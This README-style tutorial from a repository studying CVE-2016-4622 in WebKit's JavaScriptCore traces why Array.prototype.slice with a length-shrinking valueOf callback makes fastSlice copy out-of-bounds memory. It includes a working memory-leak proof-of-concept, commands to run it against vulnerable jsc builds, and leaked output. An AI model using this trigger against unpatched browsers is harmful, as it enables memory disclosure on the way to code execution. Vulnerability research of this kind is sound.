I will be working on this repository until successful reach a general understanding of how works the WebKit Exploitation Primitives (addrof and fakeobj)
This repository contains all that is needed to reproduce the Saelo Phrack Paper: http://www.phrack.org/papers/attacking_javascript_engines.html
Folder Structure:
-
Saelo-Exploit-CVE-2016-4622: The full exploit developed by Saelo
-
Exploit: This folder will contain my exploit for this vulnerability
-
I added to this folder a PoC file that contains the payload used as the starting point (initial memory leak) by this exploit. You can run it in the following way:
cd WebKit-Bins/Debug export DYLD_FRAMEWORK_PATH=$(pwd) ./jsc ../../Exploit/poc-memleak.js Output: 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
-
-
WebKit-SRC-CVE-2016-4622: WebKit SRC in the vulnerable branch (320b1fc3f6f) to code review purposes.
- If something fails you can checkout the vulnerable branch with:
git checkout 320b1fc ; git fetch
- If something fails you can checkout the vulnerable branch with:
-
WebKit-Bins:
- Debug: JavaScriptCore Mach-O 64-bit executable x86_64 Debug binary
- ASAN: JavaScriptCore Mach-O 64-bit executable x86_64 Debug binary with Address Sanitizer
- Both Binaries were built on VMWare - OSX 10.11 - XCode 7.3.2 and the folders contain all the files that allow vulnerable JSC binaries to run in almost any modern OSX installation (for debugging purposes)
Some good resources that can be helpful for anyone that will try the CVE Exploitation:
-
http://turingh.github.io/2016/12/03/CVE-2016-4622%E8%B0%83%E8%AF%95%E7%AC%94%E8%AE%B0/
-
https://null2root.github.io/blog/2019/04/09/CVE-2016-4622-digging.html
-
https://docs.ioin.in/writeup/www.auxy.xyz/tutorial_Webkit_Exp_Tutorial/index.html
Okay, lets put hands on this CVE, the first thing that we have is the following PoC code that will exploit the vulnerability to produce a memory leak in Webkit JSC:
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print (b);
Before start debugging the issue we will make a fast overview of the PoC code:
- In the first line the array a is created
- At line 2 to 3 the array is filled with 100 incremental doubles
- At line 5 the function slice is applied over the array with some parameters that we will not take in consideration at this point (we will go over it later)
The method slice will returns a copy of a portion of an array into a new array object this portion will be selected using begin to end function parameters (end not included) where begin and end represent the index of items in that array. The original array will not be modified.
A description of the slice method can be found at Mozilla developer documentation: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice
Let's try to understand the above text with an example:
// File path: Exploit/slice_over_array.js
// We will create an array that contain a,b,c,d characters.
// The array indexes of the characters into the array will be: 0,1,2,3 respectively
// array[0] = 'a'
// array[1] = 'b'
// array[2] = 'c'
// array[3] = 'd'
var array = ['a','b','c','d']
// If we want to "create a new array" that contains b and c (b,c)
// We will apply the slice function over "array" using the begin: 1 (index of c) and the end: 3 (index of d)
// The end index is not included when the new array is created, so the slice function will return a new array that contains the characters at index 1 and 2: b and c.
var new_array = array.slice('1','3') // Note that we used String as parameters and not Integers, we will talk about it later
console.log(new_array)
The result of the execution of the above code can be seen in the following image:
The first thing to take in consideration to debug this issues is that one of our JSC binaries were compiled with Debug Symbols and Address Sanitizer.
Debug Symbols and Address Sanitizer will help us a lot in our process to debug the vulnerability due that Address Sanitizer will stop the process execution after any memory corruption issue and the Debug Symbols will show us the Stack Trace and the Functions that were executed when the memory corruption happened.
When we executed the PoC code in JSC-ASAN binary with the following commands:
cd WebKit-Bins/ASAN
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
We could see the following Stack Trace:
As we can see in the first red text:
==1699==ERROR: AddressSanitizer: memcpy-param-overlap: memory ranges [0x000114cd4780,0x000114cd47d0) and [0x000114cd4768, 0x000114cd47b8) overlap
A memory corruption issue (Memory overlap) happened, this means that at some point in the execution we accessed/overwritten adjacent memory of the process.
If we analyze the first block of the stack trace we can see the functions that were involved in the memory corruption issue. For those that are not familiarized reading Stack Traces, the function list is presented from the last function executed to the first one, this means that the first function executed in this issue was: JSC::arrayProtoFuncSlice and inside of that function a call to JSC::JSArray::fastSlice happened.
Just looking at the function name: JSC::arrayProtoFuncSlice, we can infer that the function is called when .slice method is executed over an array, this means that our bug must be triggered in line 5 of or PoC file: ./Exploit/poc-memleak.js
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
We will start analizing the function JSC::arrayProtoFuncSlice in order to understand what the function does. The code of this function can be found in the file WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp line: 848 to 887.
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
// http://developer.netscape.com/docs/manuals/js/client/jsref/array.htm#1193713 or 15.4.4.10
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
if (!thisObj)
return JSValue::encode(JSValue());
unsigned length = getLength(exec, thisObj);
if (exec->hadException())
return JSValue::encode(jsUndefined());
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);
// We can only get an exception if we call some user function.
if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
return JSValue::encode(jsUndefined());
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
JSObject* result;
if (speciesResult.first == SpeciesConstructResult::CreatedObject)
result = speciesResult.second;
else
result = constructEmptyArray(exec, nullptr, end - begin);
unsigned n = 0;
for (unsigned k = begin; k < end; k++, n++) {
JSValue v = getProperty(exec, thisObj, k);
if (exec->hadException())
return JSValue::encode(jsUndefined());
if (v)
result->putDirectIndex(exec, n, v);
}
setLength(exec, result, n);
return JSValue::encode(result);
}
The first line (line: 851) of the function arrayProtoFuncSlice:
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
Will obtain the object where the method .slice was applied. In our PoC file we can see that method .slice is applied over array a:
a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
This mean that thisObj (in arrayProtoFuncSlice function) will contain a reference to array a (at our PoC File).
The line: 854 of the function arrayProtoFuncSlice:
unsigned length = getLength(exec, thisObj);
Will obtain the length of the array a
The lines: 858 - 859 execute the function argumentClampedIndexFromStartOrEnd as can be seen in the following code block:
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
The code of the function argumentClampedIndexFromStartOrEnd can be found in line: 224 to 236 in the same file (WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp)
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
The above function (argumentClampedIndexFromStartOrEnd) will be in charge to obtain the parameters that we used when we call .slice method.
If you took attention in the .slice example (Path: Exploit/slice_over_array.js) that we executed in JS Chrome Console you could notice that we used Strings as parameters of the slice function in line: 13
var new_array = array.slice('1','3')
This is because the argumentClampedIndexFromStartOrEnd function will convert the parameters into Integer (Primitive Type: number) at line: 230:
double indexDouble = value.toInteger(exec);
Then the function will return the value to begin and end variables (lines: 858 - 859) in arrayProtoFuncSlice function.
[### IMPORTANT SECTION 1 ###]
At this point is really important to understand something about JavaScript:
JavaScript has **6** primitive types: **string, number, boolean, null, undefined and symbol**. A primitive is data that is not an object and has no methods.
JavaScript automatically calls the valueOf method to convert an object to a primitive value. You rarely need to invoke the valueOf method yourself
[### END OF IMPORTANT SECTION 1 ###]
Then the function speciesConstructArray is called in lines: 861 (into the function arrayProtoFuncSlice)
std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);
We can found the function speciesConstructArray in the file: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp line: 183 to 222
static ALWAYS_INLINE std::pair<SpeciesConstructResult, JSObject*> speciesConstructArray(ExecState* exec, JSObject* thisObject, unsigned length)
{
// ECMA 9.4.2.3: https://tc39.github.io/ecma262/#sec-arrayspeciescreate
JSValue constructor = jsUndefined();
if (LIKELY(isArray(exec, thisObject))) {
// Fast path in the normal case where the user has not set an own constructor and the Array.prototype.constructor is normal.
// We need prototype check for subclasses of Array, which are Array objects but have a different prototype by default.
if (LIKELY(!thisObject->hasCustomProperties()
&& thisObject->globalObject()->arrayPrototype() == thisObject->getPrototypeDirect()
&& !thisObject->globalObject()->arrayPrototype()->didChangeConstructorOrSpeciesProperties()))
return std::make_pair(SpeciesConstructResult::FastPath, nullptr);
constructor = thisObject->get(exec, exec->propertyNames().constructor);
if (exec->hadException())
return std::make_pair(SpeciesConstructResult::Exception, nullptr);
if (constructor.isConstructor()) {
JSObject* constructorObject = jsCast<JSObject*>(constructor);
if (exec->lexicalGlobalObject() != constructorObject->globalObject())
return std::make_pair(SpeciesConstructResult::FastPath, nullptr);;
}
if (constructor.isObject()) {
constructor = constructor.get(exec, exec->propertyNames().speciesSymbol);
if (exec->hadException())
return std::make_pair(SpeciesConstructResult::Exception, nullptr);
if (constructor.isNull())
return std::make_pair(SpeciesConstructResult::FastPath, nullptr);;
}
} else if (exec->hadException())
return std::make_pair(SpeciesConstructResult::Exception, nullptr);
if (constructor.isUndefined())
return std::make_pair(SpeciesConstructResult::FastPath, nullptr);
MarkedArgumentBuffer args;
args.append(jsNumber(length));
JSObject* newObject = construct(exec, constructor, args, "Species construction did not get a valid constructor");
if (exec->hadException())
return std::make_pair(SpeciesConstructResult::Exception, nullptr);
return std::make_pair(SpeciesConstructResult::CreatedObject, newObject);
}
As we can read in the comments at lines 188 - 189, this function will check for any modification of the Array constructor and will return an exception if that happened. If nothing change then the function will return with: SpeciesConstructResult::FastPath.
// Fast path in the normal case where the user has not set an own constructor and the Array.prototype.constructor is normal.
// We need prototype check for subclasses of Array, which are Array objects but have a different prototype by default.
if (LIKELY(!thisObject->hasCustomProperties()
&& thisObject->globalObject()->arrayPrototype() == thisObject->getPrototypeDirect()
&& !thisObject->globalObject()->arrayPrototype()->didChangeConstructorOrSpeciesProperties()))
return std::make_pair(SpeciesConstructResult::FastPath, nullptr);
Also, the comment says that if all looks well the execution flow will go through the Fast path.
If we return to the Stack Trace we can observe that the last function called is named fastSlice and must be related in some way with the Fast path aforementioned in the comment.
We will continue our analysis of the arrayProtoFuncSlice line: 861:
std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);
...
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
When speciesConstructArray return into speciesResult object, a serie of conditials are applied over it, as we can see in line: 866 if speciesResult return with SpeciesConstructResult::FastPath and thisObj (array a) is an Array then the function fastSlice is executed. As parameters the begin index (1) and the numerical amount 2: (end - begin => 3 - 1) are passed to the function:
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
The function fastSlice is the last function executed in the Stack Trace as can be seen in the following image:
If we analize fastSlice function in file: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp line: 692 to 720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
VM& vm = exec.vm();
if (count >= MIN_SPARSE_ARRAY_INDEX || structure(vm)->holesMustForwardToPrototype(vm))
return nullptr;
Structure* resultStructure = exec.lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(arrayType);
JSArray* resultArray = JSArray::tryCreateUninitialized(vm, resultStructure, count);
if (!resultArray)
return nul
lptr;
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
memcpy(resultButterfly.contiguousDouble().data(), m_butterfly.get()->contiguousDouble().data() + startIndex, sizeof(JSValue) * count);
else
memcpy(resultButterfly.contiguous().data(), m_butterfly.get()->contiguous().data() + startIndex, sizeof(JSValue) * count);
resultButterfly.setPublicLength(count);
return resultArray;
}
default:
return nullptr;
}
}
The function receive as paramenter the startIndex (1) and a count variable (calculated previusly: 3 - 1 = 2), then in line: 709 a conditional check if the arrayType of our array a (array a in PoC file) is an ArrayWithDouble. If we check the PoC file we could see that we created an array a and fill it with incremental double numbers:
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
If we call the function describe over the array we can see that we created an array of type: ArrayWithDouble
Understending the above fact, we can determinate that the memcpy in JSArray.cpp line: 710 is executed (function fastSlice):
if (arrayType == ArrayWithDouble)
memcpy(resultButterfly.contiguousDouble().data(), m_butterfly.get()->contiguousDouble().data() + startIndex, sizeof(JSValue) * count);
And there is where the memory corruption happened. Now we have to understand why a memory overlap that allows us to perform a memory leak is happening.
Let's analyze the PoC File again, specifically the line: 5
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
We can observe that the first argument of the slice function is the index 0 (the first item into the array), but the second one is an object that calls to the function valueOf. As we read in the IMPORTANT SECTION 1 when an object is converted to a JS Primitive Type (number) the function valueOf is called automatically.
We already know that when the function arrayProtoFuncSlice is called, also the function argumentClampedIndexFromStartOrEnd is executed, and inside of that function the parameters of the method .slice are converted to a Primitive Type using the function toInteger():
inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
...
double indexDouble = value.toInteger(exec);
...
}
If we analize the second argument send to .slice method in our PoC File:
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
We can now understand that the valueOf function is been overwritten to modify the length of array a and will return the fixed integer 10.
The modifed version of valueOf will be called when value.toInteger(exec) into argumentClampedIndexFromStartOrEnd is executed and will change the length of our array from 100 to 0 and will return 10 as end index.
The function arrayProtoFuncSlice will continue its execution trying to create a new_array from index begin = 0 to end = 10, but array a now is empty (length = 0) due that our custom valueOf was executed when the memcpy in fastSlice function is called will copy adjacent memory from index 1 to 10 and the memory leak will happen.
Let's try to explain this more easily:
- We create an array a with length 100.
- The function argumentClampedIndexFromStartOrEnd inside arrayProtoFuncSlice will execute our modified version of valueOf when toInteger() function is called, and now our array a will be an array of length 0 and will return as end index the number 10.
- Then, inside arrayProtoFuncSlice the function fastSlice will be executed and the memcpy (inside fastSlice) will try to copy from 0 to 10 of an array of length 0. This mean that memcpy function will read adjacent memory of array a due that a[1] to a[10] are out of bound due that the new array a size is 0, and that is why the memory leak happen!